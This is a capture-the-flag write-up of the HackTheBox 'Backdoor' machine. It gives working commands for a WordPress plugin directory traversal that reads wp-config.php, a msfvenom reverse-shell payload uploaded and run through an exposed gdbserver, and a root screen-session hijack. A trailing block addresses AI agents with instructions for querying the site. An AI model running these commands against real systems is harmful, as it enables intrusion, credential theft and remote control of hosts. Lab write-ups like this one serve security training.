# Backdoor

## Nmap

```
nmap 10.10.11.125 -p- -sS -sV         

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% hint style="info" %}
Add "10.10.11.125 backdoor.htb" to /etc/hosts.
{% endhint %}

First up, checking port 1337 which `nmap` pick up as waste?. I was unable to pull any information from this service.

Connecting with `nc` did not send back any information. The same process repeated with `Wireshark` also showed no information from this port.

![](/files/WtWQPpFaERyBhmc4oSBu)

As such we will proceed to port 80 which, appears to be running `Wordpress` as shown below:

![](/files/AjqdPg4cF00kLLhieDH6)

Standard enumeration with `feroxbuster` shows multiple typical WordPress `PHP` files.

![](/files/5tTgTsrdbDeeOim5oVCT)

Instead we jump over to `wpscan` in order to further enumerate the WordPress site. The following command was run to search all available plugins for known exploits.

```bash
wpscan --url http://backdoor.htb -t 40 --detection-mode mixed --enumerate ap --plugins-detection aggressive
```

`wpscan` soon finds the vulnerable plugin `ebook-download` which is running version 1.1.

![](/files/GFxSy484miAuRGzkDWIA)

`Searchsploit` shows a known exploit for eBook Download 1.1 for Directory Traversal.

![](/files/XPFYZgs9sEPV1M1lS8gq)

**Exploit-DB:** <https://www.exploit-db.com/exploits/39575>

With the following shown as a PoC:

```bash
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

Testing this against the target system's WordPress site proves successful. We are able to read `/wp-settings.php`.

```bash
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"
```

![](/files/eOQvOmSvqBTmWPAaoSX0)

As shown above, this reveals the DB\_Password value. I tried to use this against the *admin* account and the *wordpressuser* account and was unable to proceed through either the login page or SSH against standard accounts.

From here, further enumeration through `LFI` will be required. I started `ZAP Proxy` and sent a manual request through with the Directory Traversal PoC.

![](/files/GXH6RGZkXbC1oqOWdZ3z)

We get some interesting `LFI` results, however none that are of any use to us.

![](/files/KVJc2WzdvnDgu9oMPdtq)

After much further enumeration I decided to search for running processes and their corresponding command lines. This is usually found under `/proc/PID/cmdline`. Where below the request will start with '1' and then, a number file through to 1000 will be generated using the 'numberzz' module in `ZAP Proxy`.

![](/files/NvmF99zpYxqwTqc2c0eO)

As shown below PID 816 shows `gdbserver` running on pot 1337 which we did not get any results for earlier.

![](/files/bLyzei8YmsVzapfMAaA0)

`Searchsploit` shows this could be vulnerable to `RCE`.

![](/files/aYHD171dWHzQAWuiylYU)

BookHackTricks has a great page on a few ways to exploit `gdbserver`.

**BookHackTricks:** <https://book.hacktricks.xyz/pentesting/pentesting-remote-gdbserver#upload-and-execute>

```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<Port> PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.11.125:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run
```

![](/files/JtWBQzBikRM2wIklYNz9)

Where a shell is caught on our listener.

![](/files/OWQszIDGbMMbf4By5aBs)

{% hint style="info" %}
Metasploit can also be used to exploit gdbserver.

use exploit/multi/gdb/gdb\_server\_exec
{% endhint %}

Performing enumeration with `linpeas.sh` we have an interesting find pop up under the running processes and crons section.

![](/files/deKkp5f7khGu0s0gNpxS)

Looking at the above parameters we can see the from the screen help output below, that `-dmS` is used to start a screen daemon then disconnect it. In the case of above as root.

![](/files/ZifBaBk68FpfIfhbE6i2)

The manual for screen can be found below: <https://www.gnu.org/software/screen/manual/screen.html>

The linked forum post on Serverfault shows how we can identify existing screen sessions.

**Serverfault:** <https://serverfault.com/questions/758637/owner-of-screen-session>

![](/files/1ENLFQtMyCeJxw9IvgZb)

Looking further on how to connect to other users screen sessions, this forum post from 2006 describes it well: <https://ubuntuforums.org/showthread.php?t=299286>

![](/files/RccxV6mbeSNWgfCYEtyo)

As we know the root user account is currently running a screen session we can then connect to it. We know the session name from the running processes we found from `linpeas.sh`.

```bash
screen -x "<host_username>/<sessionname>"
/var/run/screen -x root/root
```

Which gets us a `root` shell.

![](/files/zEZdtFrH2d8yyhuyXxmC)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/linux/backdoor.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.